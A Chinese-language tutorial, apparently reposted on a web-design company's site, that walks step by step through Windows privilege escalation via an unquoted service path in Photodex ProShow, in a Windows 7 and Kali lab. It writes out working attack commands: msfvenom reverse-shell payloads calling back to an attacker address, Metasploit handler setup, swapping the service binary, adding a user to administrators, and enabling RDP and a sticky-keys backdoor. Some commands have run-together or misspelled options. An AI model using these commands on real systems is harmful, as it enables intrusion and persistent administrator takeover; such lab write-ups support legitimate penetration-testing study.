成都网站建设设计

将想法与焦点和您一起共享

Windows平台下如何实现提权

这篇文章给大家分享的是有关Windows平台下如何实现提权的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

成都创新互联公司2013年至今,是专业互联网技术服务公司,拥有项目成都做网站、网站设计、外贸营销网站建设网站策划,项目实施与项目整合能力。我们以让每一个梦想脱颖而出为使命,1280元凤冈做网站,已为上家服务,为凤冈各地企业和个人服务,联系电话:028-86922220

无引号服务路径漏洞

这个漏洞跟可执行文件的路径有关,如果文件名中存在空格,或者文件路径没有包裹在双引号之中,那攻击者就可以用恶意exe文件替换掉原本合法的exe文件,并实现提权。

环境搭建

目标主机:Windows 7

攻击主机:Kali Linux

首先,我们需要在目标Windows系统中下载并安装一个名叫photodex proshow的包含漏洞的应用程序,下载镜像可以在Exploit DB上找到。

Windows平台下如何实现提权

生成目标主机

为了拿到meterpreter会话,我们至少要成功入侵目标Windows设备一次,你可以从下图中看到,我们已经拿到了目标主机的meterpreter会话了。现在,打开命令Shell:

shell

Windows平台下如何实现提权

你可以看到,我们拿到的shell访问权是本地用户local_user,为了拿到cmd的管理员权限,我们就需要提权。首先,我们可以枚举出目标主机上正在运行的所有服务,并找出那些没有被双引号包裹的服务路径,这一步可以用下列命令实现:

wmic service get name,displayname,pathname,startmode |findstr /i "auto"|findstr /i /v "c:\windows\\" |findstr /i /v """

这里,我们枚举出了下列路径:

C:\ProgramFiles\Photodex\ProShow Producer\Scsiaccess.exe

这个路径没有被双引号包裹,而且文件名中也存在空格。

Windows平台下如何实现提权

现在,我们需要使用下列命令识别文件目录权限:

icacls Scsiaccess.exe

你可以看到,它给任何人都提供了写入权限,这也就意味着任何用户都可以重写该文件:

Windows平台下如何实现提权

通过进程迁移实现提权

现在,我们只需要把恶意exe放在同一文件夹内,它就自动拥有管理员权限了,当服务重启之后,Windows将启动这个恶意exe。

在Kali Linux中打开终端,然后通过下列命令使用msfvenom生成恶意exe Payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234prependmigrate=true prepenmigrateprocess=explorer.exe -f exe >/root/Desktop/scsiaccess.exe

上面的命令将在桌面生成一个恶意exe文件,然后将该文件发送给目标主机。Payload会尝试迁移恶意进程,如果用户通过进程ID终止了当前进程的运行,攻击者也不会丢失会话和Payload的控制权。

Windows平台下如何实现提权

现在,用恶意exe替换掉合法的可执行文件,这里我把合法Scsiaccess.exe重命名为了Scsiaccess.exe.orginal,并将恶意Scsiaccess.exe上传到了同一文件夹内,然后重启目标主机:

movescsiaccess.exe scsiaccess.exe.orginalupload/root/Desktop/ scsiaccess.exe

reboot:

Windows平台下如何实现提权

与此同时,我在新的终端里开启了多个handler监听器来捕捉meterpreter会话:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) exploit

一段时间之后,我们就能够拿到拥有管理员权限的shell了:

Windows平台下如何实现提权

通过添加管理员组用户来实现提权

使用local_user权限生成了shell之后,我们就可以在没有管理员权限的情况下枚举完整的用户名列表了。这里我们发现,用户raaz不是管理员组的成员:

net usernet user raaz

Windows平台下如何实现提权

同样的,我们生成了一个exe文件,并用它来将用户raaz添加到了管理员组中,我们生成的恶意exe文件名还是叫Scsiaccess.exe:

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f exe >/root/Desktop/scsiaccess.exe

Windows平台下如何实现提权

重复上述步骤,用恶意exe文件替换掉同一目录下的合法exe,然后重启目标主机:

Windows平台下如何实现提权

仔细看下面的截图,你就会发现用户raaz已经成为了管理员组成员了:

Windows平台下如何实现提权

通过RDP&Sticky_key实现提权

使用msfvenom生成一个相同文件名(Scsiaccess.exe)的exe文件,然后将其发送至目标主机,同时利用自动运行脚本开启多个监听器,这样将会启用RDP服务:

use exploit/multi/handlermsf exploit(multi/handler) set payload windows /meterpreter/reverse_tcpmsf exploit(multi/handler) set lhost 192.168.1.107msf exploit(multi/handler) set lport 1234msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdpmsf exploit(multi/handler) exploit

Windows平台下如何实现提权

类似的,当目标服务重启之后,我们可以设置自动运行脚本来启用sticky_keys:

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keysmsf exploit(multi/handler) run

你可以从下图中看到,命令开启了另一个meterpreter会话(session 3),这个会话拥有管理员权限,现在我们就可以通过RDP与目标主机建立连接了:

rdp 192.168.1.101

Windows平台下如何实现提权

接下来,连续按下5次shift键,你将会拿到拥有管理员权限的命令行窗口:

Windows平台下如何实现提权

感谢各位的阅读!关于“Windows平台下如何实现提权”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!


当前文章:Windows平台下如何实现提权
本文来源:http://chengdu.cdxwcx.cn/article/ggpgeh.html